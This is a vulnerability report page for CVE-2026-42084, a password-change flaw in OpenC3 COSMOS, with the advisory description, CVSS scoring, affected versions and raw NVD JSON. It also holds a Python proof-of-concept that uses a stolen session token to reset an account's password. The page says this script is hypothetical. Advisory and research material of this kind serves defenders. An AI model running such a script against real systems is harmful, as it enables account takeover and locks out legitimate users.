Security Vulnerability Report
中文
CVE-2026-42084 CVSS 8.1 HIGH

CVE-2026-42084

Published: 2026-05-04 18:16:30
Last Modified: 2026-05-08 19:54:15

Description

OpenC3 COSMOS provides the functionality needed to send commands to and receive data from one or more embedded systems. Prior to versions 6.10.5 and 7.0.0-rc3, the OpenC3 password change functionality allows a user to change their password without providing the old password, by accepting a valid session token instead. In assumed breach scenarios, this behaviour can be exploited by an attacker who has already obtained a valid session token, to gain persistence in hijacked account (including admin) and prevent legitimate users from accessing the account. This issue has been patched in versions 6.10.5 and 7.0.0-rc3.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:openc3:cosmos:*:*:*:*:open_source:*:*:* - VULNERABLE
cpe:2.3:a:openc3:cosmos:7.0.0:rc1:*:*:open_source:*:*:* - VULNERABLE
cpe:2.3:a:openc3:cosmos:7.0.0:rc2:*:*:open_source:*:*:* - VULNERABLE
OpenC3 COSMOS < 6.10.5
OpenC3 COSMOS < 7.0.0-rc3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL (Hypothetical endpoint based on vulnerability description) target_url = "https://<target-host>/api/users/password" # Valid session token obtained by attacker (e.g., via XSS or session hijacking) valid_session_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." # Attacker's desired new password new_password = "HackedPassword123!" headers = { "Authorization": f"Bearer {valid_session_token}", "Content-Type": "application/json", "Accept": "application/json" } # Payload containing only the new password and confirmation, omitting the old password payload = { "user": { "password": new_password, "password_confirmation": new_password } } try: # Send the password change request response = requests.post(target_url, json=payload, headers=headers, verify=False) if response.status_code == 200 or response.status_code == 204: print("[+] Success: Password changed without providing old password.") print(f"[+] New password set to: {new_password}") else: print(f"[-] Failed: Status code {response.status_code}") print(response.text) except Exception as e: print(f"[-] Error: {str(e)}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42084", "sourceIdentifier": "[email protected]", "published": "2026-05-04T18:16:30.357", "lastModified": "2026-05-08T19:54:14.983", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenC3 COSMOS provides the functionality needed to send commands to and receive data from one or more embedded systems. Prior to versions 6.10.5 and 7.0.0-rc3, the OpenC3 password change functionality allows a user to change their password without providing the old password, by accepting a valid session token instead. In assumed breach scenarios, this behaviour can be exploited by an attacker who has already obtained a valid session token, to gain persistence in hijacked account (including admin) and prevent legitimate users from accessing the account. This issue has been patched in versions 6.10.5 and 7.0.0-rc3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-620"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openc3:cosmos:*:*:*:*:open_source:*:*:*", "versionEndExcluding": "6.10.5", "matchCriteriaId": "930EEABE-50A2-4005-AE3C-2D14AF5A60BD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openc3:cosmos:7.0.0:rc1:*:*:open_source:*:*:*", "matchCriteriaId": "38B72355-49A3-4D2F-BFDB-EE53C9E2C7AD"}, {"vulnerable": true, "criteria": "cpe:2.3:a:openc3:cosmos:7.0.0:rc2:*:*:open_source:*:*:*", "matchCriteriaId": "13E3A0EA-1085-4505-80BB-C0B133EC3498"}]}]}], "references": [{"url": "https://github.com/OpenC3/cosmos/commit/2e623714e3426d5ae81b6f8239d4a2a6937ef776", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/OpenC3/cosmos/releases/tag/v6.10.5", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/OpenC3/cosmos/releases/tag/v7.0.0-rc3", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/OpenC3/cosmos/security/advisories/GHSA-wgx6-g857-jjf7", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/OpenC3/cosmos/security/advisories/GHSA-wgx6-g857-jjf7", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}